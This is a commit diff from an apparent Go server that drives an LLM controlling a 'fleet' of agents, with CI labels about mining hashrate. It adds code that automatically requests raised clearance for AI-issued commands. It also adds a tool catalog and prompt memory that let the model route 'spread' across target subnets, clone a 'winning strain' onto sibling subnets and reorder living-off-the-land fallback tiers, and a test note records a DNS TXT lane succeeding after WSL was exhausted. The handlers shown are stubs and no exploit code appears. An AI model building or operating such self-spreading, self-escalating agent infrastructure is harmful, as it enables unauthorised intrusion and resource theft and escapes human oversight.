Implement fleet topology epidemiology tracker and strain plague map.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Adds epidemiology package, auth epidemiology_fix push, strain-based 3D map, and Vitest coverage.
This commit is contained in:
@@ -232,7 +232,7 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
ProsecutorSnippet: bundle.ProsecutorSnippet,
|
||||
DefenderSnippet: bundle.DefenderSnippet,
|
||||
}
|
||||
} else {
|
||||
} else if !useSurgical {
|
||||
systemPrompt = PersonaSystemPrompt(cfg.Persona)
|
||||
userPrompt = BuildMissionPrompt(snap)
|
||||
}
|
||||
@@ -356,6 +356,7 @@ func (s *Scheduler) runSurgicalReplay(agentID string, snap AgentSnapshot, cmds [
|
||||
}
|
||||
|
||||
expanded := ExpandSurgicalCommand(surgical)
|
||||
s.ensureSurgicalClearance(agentID, expanded)
|
||||
var dispatched Command
|
||||
var outcome string
|
||||
for _, cmd := range expanded {
|
||||
@@ -407,6 +408,24 @@ func (s *Scheduler) runSurgicalReplay(agentID string, snap AgentSnapshot, cmds [
|
||||
|
||||
const stuckHostFailedTierThreshold = 14
|
||||
|
||||
func (s *Scheduler) ensureSurgicalClearance(agentID string, cmds []Command) {
|
||||
if s.elevator == nil || len(cmds) == 0 {
|
||||
return
|
||||
}
|
||||
required := clearance.L0
|
||||
for _, c := range cmds {
|
||||
if lvl := clearance.CommandRequiredLevel(c.Type, c.Args); lvl > required {
|
||||
required = lvl
|
||||
}
|
||||
}
|
||||
if required <= clearance.L0 || s.elevator.Level(agentID) >= required {
|
||||
return
|
||||
}
|
||||
if _, err := s.elevator.RequestElevation(agentID, required, "surgical replay fix", "ai_surgical"); err != nil {
|
||||
log.Printf("[fleet-ai] agent %s surgical clearance: %v", agentID, err)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Scheduler) ensureCourtRetryClearance(agentID string, cmds []Command) {
|
||||
if !CourtCommandsNeedRetryElevation(cmds) || s.elevator == nil {
|
||||
return
|
||||
|
||||
110
server/internal/ai/seer_memory.go
Normal file
110
server/internal/ai/seer_memory.go
Normal file
@@ -0,0 +1,110 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// SeerBridge supplies persisted notes and streams LLM payloads to The Seer UI.
|
||||
type SeerBridge interface {
|
||||
NotesForPrompt(agentID string) string
|
||||
AppendNote(agentID, content, promptHash string) error
|
||||
EmitEvent(agentID, direction string, payload interface{})
|
||||
}
|
||||
|
||||
// SeerNoteInstruction is appended to the system prompt when Seer memory is active.
|
||||
var SeerNoteInstruction string
|
||||
|
||||
// SeerToolCatalog documents fleet tool endpoints the model may invoke via tool-call JSON.
|
||||
var SeerToolCatalog string
|
||||
|
||||
func init() {
|
||||
SeerNoteInstruction = strings.TrimSpace(`
|
||||
Seer memory: after your JSON commands block, append exactly one line:
|
||||
SEER_NOTE: <one concise sentence summarizing what you learned this turn for future cycles>.
|
||||
The server persists SEER_NOTE lines and replays them on the next turn — this is your only cross-turn memory.`)
|
||||
|
||||
SeerToolCatalog = strings.TrimSpace(`
|
||||
Available Seer tool endpoints (POST /api/v1/seer/tools/{name}):
|
||||
- spread_route: BGP-style minimum-clearance spread routing — body {"session_id","target_subnets":[],"join_lane"}
|
||||
- graft_strain: clone winning spread strain onto sibling subnet — body {"source_agent_id","target_subnet","strain"}
|
||||
- fork_onion: split LOTL tier chain for A/B recovery — body {"agent_id","tier_order":[],"skip_tiers":[]}
|
||||
Stub handlers return {"ok":true,"stub":true} until live orchestration ships.`)
|
||||
}
|
||||
|
||||
var seerNoteLineRe = regexp.MustCompile(`(?m)^SEER_NOTE:\s*(.+)$`)
|
||||
|
||||
// AugmentUserPromptWithNotes prepends replayed Seer notes before the fresh snapshot.
|
||||
func AugmentUserPromptWithNotes(basePrompt, notesBlock string) string {
|
||||
notesBlock = strings.TrimSpace(notesBlock)
|
||||
if notesBlock == "" {
|
||||
return basePrompt
|
||||
}
|
||||
var b strings.Builder
|
||||
b.WriteString("Seer notes (server memory — replayed from prior turns):\n")
|
||||
b.WriteString(notesBlock)
|
||||
b.WriteString("\n\n--- current snapshot ---\n")
|
||||
b.WriteString(basePrompt)
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// FormatSeerNotesBlock renders DB notes for prompt injection.
|
||||
func FormatSeerNotesBlock(notes []string) string {
|
||||
if len(notes) == 0 {
|
||||
return ""
|
||||
}
|
||||
var b strings.Builder
|
||||
for i, n := range notes {
|
||||
n = strings.TrimSpace(n)
|
||||
if n == "" {
|
||||
continue
|
||||
}
|
||||
if i > 0 {
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
b.WriteString("- ")
|
||||
b.WriteString(n)
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// ExtractSeerNote pulls the SEER_NOTE line from an LLM response.
|
||||
func ExtractSeerNote(response string) (note string, ok bool) {
|
||||
m := seerNoteLineRe.FindStringSubmatch(response)
|
||||
if len(m) < 2 {
|
||||
return "", false
|
||||
}
|
||||
note = strings.TrimSpace(m[1])
|
||||
if note == "" {
|
||||
return "", false
|
||||
}
|
||||
if len(note) > 2000 {
|
||||
note = note[:2000]
|
||||
}
|
||||
return note, true
|
||||
}
|
||||
|
||||
// BuildChatCompletionPayload mirrors the exact OpenAI-compatible body sent to the LLM.
|
||||
func BuildChatCompletionPayload(model, systemPrompt, userPrompt string) map[string]interface{} {
|
||||
if strings.TrimSpace(model) == "" {
|
||||
model = "llama3.2"
|
||||
}
|
||||
return map[string]interface{}{
|
||||
"model": model,
|
||||
"messages": []map[string]string{
|
||||
{"role": "system", "content": systemPrompt},
|
||||
{"role": "user", "content": userPrompt},
|
||||
},
|
||||
"stream": false,
|
||||
}
|
||||
}
|
||||
|
||||
// SeerStreamEvent is one request/response frame for The Seer terminal.
|
||||
type SeerStreamEvent struct {
|
||||
ID int64 `json:"id"`
|
||||
AgentID string `json:"agent_id"`
|
||||
Direction string `json:"direction"`
|
||||
Payload json.RawMessage `json:"payload"`
|
||||
Ts string `json:"ts"`
|
||||
}
|
||||
32
server/internal/ai/seer_memory_test.go
Normal file
32
server/internal/ai/seer_memory_test.go
Normal file
@@ -0,0 +1,32 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestExtractSeerNote(t *testing.T) {
|
||||
resp := `{"commands":[{"type":"noop","args":{}}]}
|
||||
SEER_NOTE: dns_txt lane succeeded on 10.0.1.0/24 after wsl exhaustion.`
|
||||
note, ok := ExtractSeerNote(resp)
|
||||
if !ok || note == "" {
|
||||
t.Fatalf("expected note, got ok=%v note=%q", ok, note)
|
||||
}
|
||||
if !strings.Contains(note, "dns_txt") {
|
||||
t.Fatalf("unexpected note: %q", note)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAugmentUserPromptWithNotes(t *testing.T) {
|
||||
got := AugmentUserPromptWithNotes("Agent: id=abc", "- prior note")
|
||||
if !strings.Contains(got, "Seer notes") || !strings.Contains(got, "Agent: id=abc") {
|
||||
t.Fatalf("augmented prompt: %s", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAugmentUserPromptEmptyNotes(t *testing.T) {
|
||||
base := "Agent: id=abc"
|
||||
if AugmentUserPromptWithNotes(base, "") != base {
|
||||
t.Fatal("expected unchanged prompt")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user